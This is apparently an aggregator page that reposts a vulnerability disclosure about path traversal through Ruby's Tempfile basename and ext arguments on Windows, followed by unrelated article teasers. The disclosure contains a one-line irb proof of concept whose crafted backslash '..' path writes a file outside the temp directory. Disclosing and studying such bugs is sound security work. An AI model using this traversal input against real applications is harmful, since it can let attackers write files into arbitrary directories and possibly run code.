➠ Ruby: Path traversal in Tempfile on windows OS due to unsanitized backslashes
Hi team, Summary We've noticed that both arguments (basename and ext) of Tempfile on Windows are vulnerable to a path traversal which could allow unintentional file creating in arbitrary writable directories. Tempfile often has a user control either by basename or ext (or both). PoC ~~~ irb(main):029:0> Tempfile.open(["\..\..\..\..\..\Users\rootx\malicious",".rb"]) => # irb(main):030:0> puts dir C:\\Users\\rootx\\ Volume in drive C has no label. Volume Serial Number is C0F2-8D87 Directory of C:\Users\rootx ... REDACTED ... 21-03-2021 00:45 0 malicious20210321-22472-fvuodx.rb ... REDACTED ... ~~~ The same can be accomplished via ext argument. Thanks, Harsh and Rahul, HTTPVoid Impact Unintentional file creation in an arbitrary directory. Could potentially cause RCE in RoR......
Zur Startseite
➤ Ähnliche Beiträge für 'Ruby: Path traversal in Tempfile on windows OS due to unsanitized backslashes'
Dumping the Amlogic A113X Bootrom
vom 1777.34 Punkte
IntroductionWhile investigating the Sonos One (2nd generation) smart speaker for apotential entry into the Pwn2Own 2022 Toronto competition I got slightly (ahem)sidetracked in a small adventure relating to the bootchain of the AMLogic A113family of chips.Th
Python: Generate Temporary Files And Directories Using tempfile
vom 1377.83 Punkte
This article was originally published on GeekPython
Python has a rich collection of standard libraries to carry out various tasks. In Python, there is a module called tempfile that allows us to create and manipulate temporary files and directories.
W
[Testing Update] 2020-01-08 - KDE-Git, Pamac 9.3, Firefox 72, Plasma 5.17.5, Haskell
vom 1071.72 Punkte
@philm wrote:
Hello community,
here is another Testing Update for 2020! Tell us how 2019 was for you ...
1125×289Manjaro ARM Team will be at #FOSDEM2020
Some feature-updates:
Updated some KDE-git packages
We fixed some issues within Pamac 9
Windows 1 bis 11: Die Geschichte von Windows – Bluescreens & Easter Eggs
vom 738.9 Punkte
Wir blicken zurück auf die Geschichte des meistgenutzten Betriebssystems . Denn Windows steckt voller Überraschungen: Als Bill Gates die Betaversion von Windows 98 vorführte, blickte er auf einen Bluescreen. Benutzern von Windows 10 ging es im Herbst 2018 mit dem Herbst-Update Version 1809 nur
Comment lancer un DEX pas à pas
vom 584.82 Punkte
Il y a quelque temps j'ai lancé un DEX en Mainnet pour un client. Dans cette vidéo je montre comment on l'a fait. De plus, j'explique les smart contrats nécessaires: le Factory, le Router et les Pairs. On va lancer les smart contrats on Goerli Testnet, on
How to launch a Dex step by step
vom 584.82 Punkte
Some time ago I launched a Dex on Mainnet for a freelance gig. In this video I explain the technique that I used and what considerations we will need to consider. Also, I'll explain the smart contracts that we need: the Factory, the Router, and the Pa
Cómo lanzar un DEX paso a paso
vom 584.82 Punkte
Hace un tiempo lancé un DEX en Mainnet para un cliente. En este video explico la técnica que usé y qué consideraciones tomar en cuenta. También explico los smart contracts necesarios: la Factory, el Router y los Pairs. Lanzaremos los smart contracts en
Personal efforts to improve the quality of Ruby interpreter
vom 571.04 Punkte
This article is Japanese -> English translation of the following post (and some additional messages):
Rubyインタプリタの品質向上のために個人的にやっていること - クックパッド開発者ブ�
Tried Polars in Ruby
vom 534 Punkte
Polars is a data frame in the Rust language using Apache Arrow Columnar Format. polars-ruby is the Ruby binding for Polars created by Andrew Kane.
Several members of the Ruby community have been deeply involved in the development of Apache Arrow.
Fast data proce
Selecting Zero Trust Network Access for Business Growth
vom 488.94 Punkte
Traditional network architectures struggle with today’s pervasive threat environment and fading perimeters. Organizations need a VPN alternative that keeps sensitive resources secure while simplifying network management and improving the user experience. Twingate’s secure access solution, based on principles
Build your own Shell : PART 2 👨🏾💻
vom 479.36 Punkte
In the first part of our journey to create a shell, we explored the basics, crafting a shell that worked when we typed in commands but needed the complete path, like /bin/ls, to function properly.
Find the previous article HERE
Now, in this next step, we're going to upgrade our shell to be more flexible and user-friendly:
We'll make o
⚡Understanding methods and modules in Ruby with a solved example
vom 472.39 Punkte
Hello and welcome! 🥳🥳
In today's article, we will be looking at how to create and call methods or functions in Ruby with a solved example.
Table of Contents
1. Modules in Ruby
1.1. How to create modules in Ruby
a. How to ac